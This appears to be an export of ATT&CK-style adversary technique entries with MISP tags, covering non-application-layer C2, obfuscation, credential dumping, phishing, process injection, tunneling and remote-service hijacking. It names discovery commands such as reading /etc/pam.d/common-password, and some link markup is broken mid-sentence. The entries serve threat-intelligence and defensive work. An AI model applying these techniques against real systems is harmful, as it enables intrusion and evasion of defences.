Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.^{[[Wikipedia OSI](https://app.tidalcyber.com/references/d1080030-12c7-4223-92ab-fb764acf111d)]} Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled

protocols, such as Serial over LAN (SOL).

ICMP communication between hosts is one example.^{[[Cisco Synful Knock Evolution](https://app.tidalcyber.com/references/29301297-8343-4f75-8096-7fe229812f75)]} Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.^{[[Microsoft ICMP](https://app.tidalcyber.com/references/47612548-dad1-4bf3-aa6f-a53aefa06f6a)]} However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.

In ESXi environments, adversaries may leverage the Virtual Machine Communication Interface (VMCI) for communication between guest virtual machines and the ESXi host. This traffic is similar to client-server communications on traditional network sockets but is localized to the physical machine running the ESXi host, meaning it does not traverse external networks (routers, switches). This results in communications that are invisible to external monitoring and standard networking tools like tcpdump, netstat, nmap, and Wireshark. By adding a VMCI backdoor to a compromised ESXi host, adversaries may persistently regain access from any guest VM to the compromised ESXi host's backdoor, regardless of network segmentation or firewall rules in place.^{[[Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023](https://app.tidalcyber.com/references/204d9587-957b-5398-a7c9-969500315ab3)]}

The tag is: *misp-galaxy:technique="Non-Application Layer Protocol"*

Non-Standard Port

Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088^{[[Symantec Elfin Mar 2019](https://app.tidalcyber.com/references/55671ede-f309-4924-a1b4-3d597517b27e)]} or port 587^{[[Fortinet Agent Tesla April 2018](https://app.tidalcyber.com/references/86a65be7-0f70-4755-b526-a26b92eabaa2)]} as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.

Adversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.^{[[change_rdp_port_conti](https://app.tidalcyber.com/references/c0deb077-6c26-52f1-9e7c-d1fb535a02a0)]}

The tag is: *misp-galaxy:technique="Non-Standard Port"*

Obfuscated Files or Information

Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://app.tidalcyber.com/technique/88c2fb46-877a-4005-8425-7639d0da1920) for [User Execution](https://app.tidalcyber.com/

technique/b84435ab-2ff4-4b6f-ba71-b4b815474872). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. ^{[[Volexity PowerDuke November 2016](https://app.tidalcyber.com/references/4026c055-6020-41bb-a4c8-54b308867023)]} Adversaries may also use compressed or archived scripts, such as JavaScript.

Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. ^{[[Linux/Cdorked.A We Live Security Analysis](https://app.tidalcyber.com/references/f76fce2e-2884-4b50-a7d7-55f08b84099c)]} Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. ^{[[Carbon Black Obfuscation Sept 2016](https://app.tidalcyber.com/references/bed8ae68-9738-46fb-abc9-0004fa35636a)]}

Adversaries may also abuse [Command Obfuscation](https://app.tidalcyber.com/technique/d8406198-626c-5659-945e-2b5105fcd0c9) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://app.tidalcyber.com/technique/a2184d53-63b1-4c40-81ed-da799080c36c). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. ^{[[FireEye Obfuscation June 2017](https://app.tidalcyber.com/references/6d1089b7-0efe-4961-8abc-22a882895377)]} ^{[[FireEye Revoke-Obfuscation July 2017](https://app.tidalcyber.com/references/e03e9d19-18bb-4d28-8c96-8c1cef89a20b)]}^{[[PaloAlto EncodedCommand March 2017](https://app.tidalcyber.com/references/069ef9af-3402-4b13-8c60-b397b0b0bfd7)]}

The tag is: *misp-galaxy:technique="Obfuscated Files or Information"*

Obtain Capabilities

Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.

In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.^{[[NationsBuying](https://app.tidalcyber.com/references/a3e224e7-fe22-48d6-9ff5-35900f06c060)]}^{[[PegasusCitizenLab](https://app.tidalcyber.com/references/d248e284-37d3-4425-a29e-5a0c814ae803)]}

In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.^{[[DiginotarCompromise](https://app.tidalcyber.com/references/3c9b7b9a-d30a-4865-a96c-6e68d9e20452)]}

The tag is: *misp-galaxy:technique="Obtain Capabilities"*

Office Application Startup

Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.

A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.^{[[SensePost Ruler GitHub](https://app.tidalcyber.com/references/aa0a1508-a872-4e69-bf20-d3c8202f18c1)]} These persistence mechanisms can work within Outlook or be used through Office 365.^{[[TechNet O365 Outlook Rules](https://app.tidalcyber.com/references/c7f9bd2f-254a-4254-8a92-a3ab02455fcb)]}

The tag is: *misp-galaxy:technique="Office Application Startup"*

OS Credential Dumping

Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures.^{[[Brining MimiKatz to Unix](https://app.tidalcyber.com/references/5ad06565-6694-4c42-81c9-880d66f6d07f)]} Credentials can then be used to perform [Lateral Movement](https://app.tidalcyber.com/tactics/50ba4930-7c8e-4ef9-bc36-70e7dae661eb) and access restricted information.

Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.

The tag is: *misp-galaxy:technique="OS Credential Dumping"*

Password Policy Discovery

Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://app.tidalcyber.com/technique/c16eef78-232e-47a2-98e9-046ec075b13c). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).

Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as <code>net accounts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy</code>, <code>chage -l <username></code>, <code>cat /etc/pam.d/common-password</code>, and <code>pwpolicy getaccountpolicies</code> ^{[[Superuser Linux Password Policies](https://app.tidalcyber.com/references/c0bbc881-594a-408c-86a2-211ce6279231)]} <sup>[[Jamf User Password Policies](https://app.tidalcyber.com/

references/aa3846fd-a307-4be5-a487-9aa2688d5816)]</sup>. Adversaries may also leverage a [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) on network devices to discover password policy information (e.g. <code>show aaa</code>, <code>show aaa common-criteria policy all</code>).^{[[US-CERT-TA18-106A](https://app.tidalcyber.com/references/1fe55557-94af-4697-a675-884701f70f2a)]}

Password policies can be discovered in cloud environments using available APIs such as <code>GetAccountPasswordPolicy</code> in AWS ^{[[AWS GetPasswordPolicy](https://app.tidalcyber.com/references/dd44d565-b9d9-437e-a31a-a52c6a21e3b3)]}.

The tag is: *misp-galaxy:technique="Password Policy Discovery"*

Peripheral Device Discovery

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.^{[[Peripheral Discovery Linux](https://app.tidalcyber.com/references/427b3a1b-88ea-4027-bae6-7fb45490b81d)]}^{[[Peripheral Discovery macOS](https://app.tidalcyber.com/references/2a3c5216-b153-4d89-b0b1-f32af3aa83d0)]} Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.

The tag is: *misp-galaxy:technique="Peripheral Device Discovery"*

Permission Groups Discovery

Adversaries may attempt to discover group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.

Adversaries may attempt to discover group permission settings in many different ways. This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.^{[[CrowdStrike BloodHound April 2018](https://app.tidalcyber.com/references/fa99f290-e42c-4311-9f6d-c519c9ab89fe)]}

The tag is: *misp-galaxy:technique="Permission Groups Discovery"*

Phishing

Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.

Adversaries may send victims emails containing malicious attachments or links, typically to

execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules]([Microsoft OAuth Spam 2022(https://app.tidalcyber.com/references/086c06a0-3960-5fa8-b034-cef37a3aee90)]</sup>^{[[Palo Alto Unit 42 VBA Infostealer 2014](https://app.tidalcyber.com/references/c3eccab6-b12b-513a-9a04-396f7b3dcf63)]} Another way to accomplish this is by [Email Spoofing]([Proofpoint-spoof(https://app.tidalcyber.com/references/fe9f7542-bbf0-5e34-b3a9-8596cc5aa754)]</sup> the identity of the sender, which can be used to fool both the human recipient as well as automated security tools,^{[[cyberproof-double-bounce](https://app.tidalcyber.com/references/4406d688-c392-5244-b438-6995f38dfc61)]} or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., "thread hijacking").^{[[phishing-krebs](https://app.tidalcyber.com/references/1f591eeb-04c0-5125-b378-e3716a839d17)]}

Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,^{[[sygnia Luna Month](https://app.tidalcyber.com/references/3e1c2a64-8446-538d-a148-2de87991955a)]}^{[[CISA Remote Monitoring and Management Software](https://app.tidalcyber.com/references/1ee55a8c-9e9d-520a-a3d3-1d2da57e0265)]} or install adversary-accessible remote management tools onto their computer (i.e., [User Execution]([Unit42 Luna Moth(https://app.tidalcyber.com/references/ec52bcc9-6a56-5b94-8534-23c8e7ce740f)]</sup>

The tag is: *misp-galaxy:technique="Phishing"*

Phishing for Information

Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533) in that the objective is gathering data from the victim rather than executing malicious code.

All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.

Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.^{[[ThreatPost Social Media Phishing](https://app.tidalcyber.com/references/186c1213-d0c5-4eb6-aa0f-0fd61b07a1f7)]}^{[[TrendMictro Phishing](https://app.tidalcyber.com/references/621f1c52-5f34-4293-a507-b58c4084a19b)]}^{[[PCMag FakeLogin](https://app.tidalcyber.com/references/f652524c-7950-4a8a-9860-0e658a9581d8)]}^{[[Sophos Attachment](https://app.tidalcyber.com/references/b4aa5bf9-31db-42ee-93e8-a576ecc00b57)]}^{[[GitHub Phishery](https://app.tidalcyber.com/references/6da51561-a813-4802-aa84-1b3de1bc2e14)]} Victims may also receive phishing messages that direct them

to call a phone number where the adversary attempts to collect confidential information.^{[[Avertium callback phishing](https://app.tidalcyber.com/references/abeb1146-e5e5-5ecc-9b70-b348fba097f6)]}

Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://app.tidalcyber.com/technique/9a2d6628-0dd7-4f25-a242-b752fcf47ff4) or [Compromise Accounts](https://app.tidalcyber.com/technique/c6374cbe-799a-4648-b1e2-2a66bb42d3f3)) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by [Email Spoofing]([Proofpoint-spoof(https://app.tidalcyber.com/references/fe9f7542-bbf0-5e34-b3a9-8596cc5aa754)]</sup> the identity of the sender, which can be used to fool both the human recipient as well as automated security tools.^{[[cyberproof-double-bounce](https://app.tidalcyber.com/references/4406d688-c392-5244-b438-6995f38dfc61)]}

Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules]([Microsoft OAuth Spam 2022(https://app.tidalcyber.com/references/086c06a0-3960-5fa8-b034-cef37a3aee90)]</sup>^{[[Palo Alto Unit 42 VBA Infostealer 2014](https://app.tidalcyber.com/references/c3eccab6-b12b-513a-9a04-396f7b3dcf63)]}

The tag is: *misp-galaxy:technique="Phishing for Information"*

Plist File Modification

Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the <code>info.plist</code> file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.^{[[fileinfo plist file description](https://app.tidalcyber.com/references/24331b9d-68af-4db2-887f-3a984b6c5783)]}

Adversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://app.tidalcyber.com/technique/5e8b76ce-b75f-449c-9d8f-573b1ffdb2bd)) or running additional commands for persistence (ex: [Launch Agent](Launch Daemon(https://app.tidalcyber.com/technique/eff618a9-6498-4b01-bca1-cd5f3784fc27) or [Re-opened Applications](https://app.tidalcyber.com/technique/9459a27a-b892-4864-9916-814130bea485)).

For example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the <code>LSUIElement</code> key in an application's <code>info.plist</code> file to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as <code>LSEnvironment</code>, to enable persistence via [Dynamic Linker Hijacking]([wardle chp2 persistence(https://app.tidalcyber.com/references/3684bacb-24cb-4467-b463-d0d3f5075c5c
)]</sup>^{[[eset_osx_flashback](https://app.tidalcyber.com/references/ce6e5a21-0063-4356-a77a-5c5f9fd2cf5c)]}

The tag is: *misp-galaxy:technique="Plist File Modification"*

Power Settings

Adversaries may impair a system's ability to hibernate, reboot, or shut down in order to extend access to infected machines. When a computer enters a dormant state, some or all software and hardware may cease to operate which can disrupt malicious activity.^{[[Sleep, shut down, hibernate](https://app.tidalcyber.com/references/e9064801-0297-51d0-9089-db58f4811a9f)]}

Adversaries may abuse system utilities and configuration settings to maintain access by preventing machines from entering a state, such as standby, that can terminate malicious activity.^{[[Microsoft: Powercfg command-line options](https://app.tidalcyber.com/references/d9b5be77-5e44-5786-a683-82642b8dd8c9)]}^{[[systemdsleep Linux](https://app.tidalcyber.com/references/9537f6f9-1521-5c21-b14f-ac459a2d1b70)]}

For example, `powercfg` controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.^{[[Two New Monero Malware Attacks Target Windows and Android Users](https://app.tidalcyber.com/references/a797397b-2af7-58b9-b66a-5ded260659f0)]} Adversaries may also extend system lock screen timeout settings.^{[[BATLOADER: The Evasive Downloader Malware](https://app.tidalcyber.com/references/53e12ade-99ed-51ee-b5c8-32180f144658)]} Other relevant settings, such as disk and hibernate timeout, can be similarly abused to keep the infected machine running even if no user is active.^{[[CoinLoader: A Sophisticated Malware Loader Campaign](https://app.tidalcyber.com/references/83469ab3-0199-5679-aa25-7b6885019552)]}

Aware that some malware cannot survive system reboots, adversaries may entirely delete files used to invoke system shut down or reboot.^{[[Condi-Botnet-binaries](https://app.tidalcyber.com/references/a92b0d6c-b3e8-56a4-b1b4-1d117e59db84)]}

The tag is: *misp-galaxy:technique="Power Settings"*

Pre-OS Boot

Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.^{[[Wikipedia Booting](https://app.tidalcyber.com/references/6d9c72cb-6cda-445e-89ea-7e695063d49a)]}

Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.

The tag is: *misp-galaxy:technique="Pre-OS Boot"*

Process Discovery

Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Administrator or otherwise elevated access may provide better process details. Adversaries may use the information from [Process Discovery](https://app.tidalcyber.com/technique/710ae610-0556-44e5-9de9-8be6159a23dd) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

In Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://app.tidalcyber.com/software/abae8f19-9497-4a71-82b6-ae6edd26ad98) utility via [cmd](https://app.tidalcyber.com/software/98d89476-63ec-4baf-b2b3-86c52170f5d8) or <code>Get-Process</code> via [PowerShell](https://app.tidalcyber.com/technique/6ca7838a-e8ad-43e8-9da6-15b640d1cbde). Information about processes can also be extracted from the output of [Native API](https://app.tidalcyber.com/technique/1120f5ec-ef1b-4596-8d8b-a3979a766560) calls such as <code>CreateToolhelp32Snapshot</code>. In Mac and Linux, this is accomplished with the <code>ps</code> command. Adversaries may also opt to enumerate processes via `/proc`. ESXi also supports use of the `ps` command, as well as `esxcli system process list`.^{[[Sygnia ESXi Ransomware 2025](https://app.tidalcyber.com/references/177dd788-33d1-53f8-9419-2af3a78269ba)]}^{[[Crowdstrike Hypervisor Jackpotting Pt 2 2021](https://app.tidalcyber.com/references/db1ca1bf-2f48-5ff1-9fd3-52b86f3f0726)]}

On network devices, [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) commands such as `show processes` can be used to display current running processes.^{[[US-CERT-TA18-106A](https://app.tidalcyber.com/references/1fe55557-94af-4697-a675-884701f70f2a)]}^{[[show_processes_cisco_cmd](https://app.tidalcyber.com/references/944e529b-5e8a-54a1-b205-71dcb7dd304f)]}

The tag is: *misp-galaxy:technique="Process Discovery"*

Process Injection

Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.

More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.

The tag is: *misp-galaxy:technique="Process Injection"*

Protocol Tunneling

Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet.

There are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.^{[[SSH Tunneling](https://app.tidalcyber.com/references/13280f38-0f17-42d3-9f92-693f1da60ffa)]}^{[[Sygnia Abyss Locker 2025](https://app.tidalcyber.com/references/924efb81-e7a7-5fee-be0b-0a2830e04dbc)]}

[Protocol Tunneling](https://app.tidalcyber.com/technique/bd677092-d197-4230-b94a-438cb24260fd) may also be abused by adversaries during [Dynamic Resolution](https://app.tidalcyber.com/technique/987ad3da-9423-4fe0-a52b-b931c0b8b95f). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.^{[[BleepingComp Godlua JUL19](https://app.tidalcyber.com/references/fd862d10-79bc-489d-a552-118014d01648)]}

Adversaries may also leverage [Protocol Tunneling](https://app.tidalcyber.com/technique/bd677092-d197-4230-b94a-438cb24260fd) in conjunction with [Proxy](https://app.tidalcyber.com/technique/ba6a869a-c870-4be6-bc08-e078f0efdc3b) and/or [Protocol or Service Impersonation](https://app.tidalcyber.com/technique/eb15320a-cd24-45b2-b23f-05ef8daf1039) to further conceal C2 communications and infrastructure.

The tag is: *misp-galaxy:technique="Protocol Tunneling"*

Proxy

Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://app.tidalcyber.com/software/b98d9fe7-9aa3-409a-bf5c-eadb01bac948), ZXProxy, and ZXPortMap. ^{[[Trend Micro APT Attack Tools](https://app.tidalcyber.com/references/dac5cda3-97bc-4e38-b54f-554a75a18c5b)]}
Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.

Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.

The tag is: *misp-galaxy:technique="Proxy"*

Query Registry

Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.

The Registry contains a significant amount of information about the operating system, configuration, software, and security.^{[[Wikipedia Windows Registry](https://app.tidalcyber.com/references/656f0ffd-33e0-40ef-bdf7-70758f855f18)]} Information can easily be queried using the [Reg](https://app.tidalcyber.com/software/d796615c-fa3d-4afd-817a-1a3db8c73532) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://app.tidalcyber.com/technique/58722f84-b119-45a8-8e29-0065688015ee) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

The tag is: *misp-galaxy:technique="Query Registry"*

Reflective Code Loading

Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., [Shared Modules](https://app.tidalcyber.com/technique/8941d1f4-d80c-4aaa-821a-a059c2a0f854)).

Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).^{[[Introducing Donut](https://app.tidalcyber.com/references/8fd099c6-e002-44d0-8b7f-65f290a42c07)]}^{[[S1 Custom Shellcode Tool](https://app.tidalcyber.com/references/f49bfd00-48d5-4d84-a7b7-cb23fcdf861b)]}^{[[Stuart ELF Memory](https://app.tidalcyber.com/references/402745e1-a65a-4fa1-a86d-99b37221095c)]}^{[[00sec Droppers](https://app.tidalcyber.com/references/7569e79b-5a80-4f42-b467-8548cc9fc319)]}^{[[Mandiant BYOL](https://app.tidalcyber.com/references/445efe8b-659a-4023-afc7-aa7cd21ee5a1)]} For example, the `Assembly.Load()` method executed by [PowerShell](https://app.tidalcyber.com/technique/6ca7838a-e8ad-43e8-9da6-15b640d1cbde) may be abused to load raw code into the running process.^{[[Microsoft AssemblyLoad](https://app.tidalcyber.com/references/3d980d7a-7074-5812-9bb1-ca8e27e028bd)]}

Reflective code injection is very similar to [Process Injection](https://app.tidalcyber.com/technique/7a6208ac-c75e-4e73-8969-0aaf6085cb6e) except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.<sup>[[Stuart ELF Memory](https://app.tidalcyber.com/references/402745e1-a65a-4fa1-a86d-

99b37221095c)]</sup>^{[[00sec Droppers](https://app.tidalcyber.com/references/7569e79b-5a80-4f42-b467-8548cc9fc319)]}^{[[Intezer ACBackdoor](https://app.tidalcyber.com/references/e6cb833f-cf18-498b-a233-848853423412)]}^{[[S1 Old Rat New Tricks](https://app.tidalcyber.com/references/20ef3645-fb92-4e13-a5a8-99367869bcba)]}

The tag is: *misp-galaxy:technique="Reflective Code Loading"*

Remote Access Tools

An adversary may use legitimate remote access tools to establish an interactive command and control channel within a network. Remote access tools create a session between two trusted hosts through a graphical interface, a command line interaction, a protocol tunnel via development or management software, or hardware-level access such as KVM (Keyboard, Video, Mouse) over IP solutions. Desktop support software (usually graphical interface) and remote management software (typically command line interface) allow a user to control a computer remotely as if they are a local user inheriting the user or software permissions. This software is commonly used for troubleshooting, software installation, and system management.^{[[Symantec Living off the Land](https://app.tidalcyber.com/references/4bad4659-f501-4eb6-b3ca-0359e3ba824e)]}^{[[CrowdStrike 2015 Global Threat Report](https://app.tidalcyber.com/references/50d467da-286b-45f3-8d5a-e9d8632f7bf1)]}^{[[CrySyS Blog TeamSpy](https://app.tidalcyber.com/references/f21ea3e2-7983-44d2-b78f-80d84bbc4f52)]} Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.

Remote access tools may be installed and used post-compromise as an alternate communications channel for redundant access or to establish an interactive remote desktop session with the target system. It may also be used as a malware component to establish a reverse connection or back-connect to a service or adversary-controlled system.

Installation of many remote access tools may also include persistence (e.g., the software's installation routine creates a [Windows Service](https://app.tidalcyber.com/technique/31c6dd3c-3eb2-46a9-ab85-9e8e145810a1)). Remote access modules/features may also exist as part of otherwise existing software (e.g., Google Chrome's Remote Desktop).^{[[Google Chrome Remote Desktop](https://app.tidalcyber.com/references/70c87a07-38eb-53d2-8b63-013eb3ce62c8)]}^{[[Chrome Remote Desktop](https://app.tidalcyber.com/references/c1b2d0e9-2396-5080-aea3-58a99c027d20)]}

The tag is: *misp-galaxy:technique="Remote Access Tools"*

Remote Services

Adversaries may use [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.

In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they

could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).^{[[SSH Secure Shell](https://app.tidalcyber.com/references/ac5fc103-1946-488b-8af5-eda0636cbdd0)]}^{[[TechNet Remote Desktop Services](https://app.tidalcyber.com/references/b8fc1bdf-f602-4a9b-a51c-fa49e70f24cd)]} They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter.

Legitimate applications (such as [Software Deployment Tools](https://app.tidalcyber.com/technique/1bcf9fb5-6848-44d9-b394-ffbd3c357058) and other administrative programs) may utilize [Remote Services](https://app.tidalcyber.com/technique/30ef3f13-5e9b-4712-9adf-f0da4ef157a1) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://app.tidalcyber.com/technique/af7afc1e-3374-4d1c-917b-c47c305274f5) to send the screen and control buffers and [SSH](https://app.tidalcyber.com/technique/7620ba3a-7877-4f87-90e3-588163ac0474) for secure file transfer.^{[[Remote Management MDM macOS](https://app.tidalcyber.com/references/e5f59848-7014-487d-9bae-bed81af1b72b)]}^{[[Kickstart Apple Remote Desktop commands](https://app.tidalcyber.com/references/f26542dd-aa61-4d2a-a05a-8f9674b49f82)]}^{[[Apple Remote Desktop Admin Guide 3.3](https://app.tidalcyber.com/references/c57c2bba-a398-4e68-b2a7-fddcf0740b61)]} Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.^{[[FireEye 2019 Apple Remote Desktop](https://app.tidalcyber.com/references/bbc72952-988e-4c3c-ab5e-75b64e9e33f5)]}^{[[Lockboxx ARD 2019](https://app.tidalcyber.com/references/159f8495-5354-4b93-84cb-a25e56fcff3e)]}^{[[Kickstart Apple Remote Desktop commands](https://app.tidalcyber.com/references/f26542dd-aa61-4d2a-a05a-8f9674b49f82)]}

The tag is: *misp-galaxy:technique="Remote Services"*

Remote Service Session Hijacking

Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.

Adversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://app.tidalcyber.com/technique/c992f340-645d-412a-b509-3cbaf94919b0) differs from use of [Remote Services](https://app.tidalcyber.com/technique/30ef3f13-5e9b-4712-9adf-f0da4ef157a1) because it hijacks an existing session rather than creating a new session using [Valid Accounts]([RDP Hijacking Medium](https://app.tidalcyber.com/references/0a615508-c155-4004-86b8-916bbfd8ae42)]</sup>^{[[Breach Post-mortem SSH Hijack](https://app.tidalcyber.com/references/f1d15b92-8840-45ae-b23d-0cba20fc22cc)]}

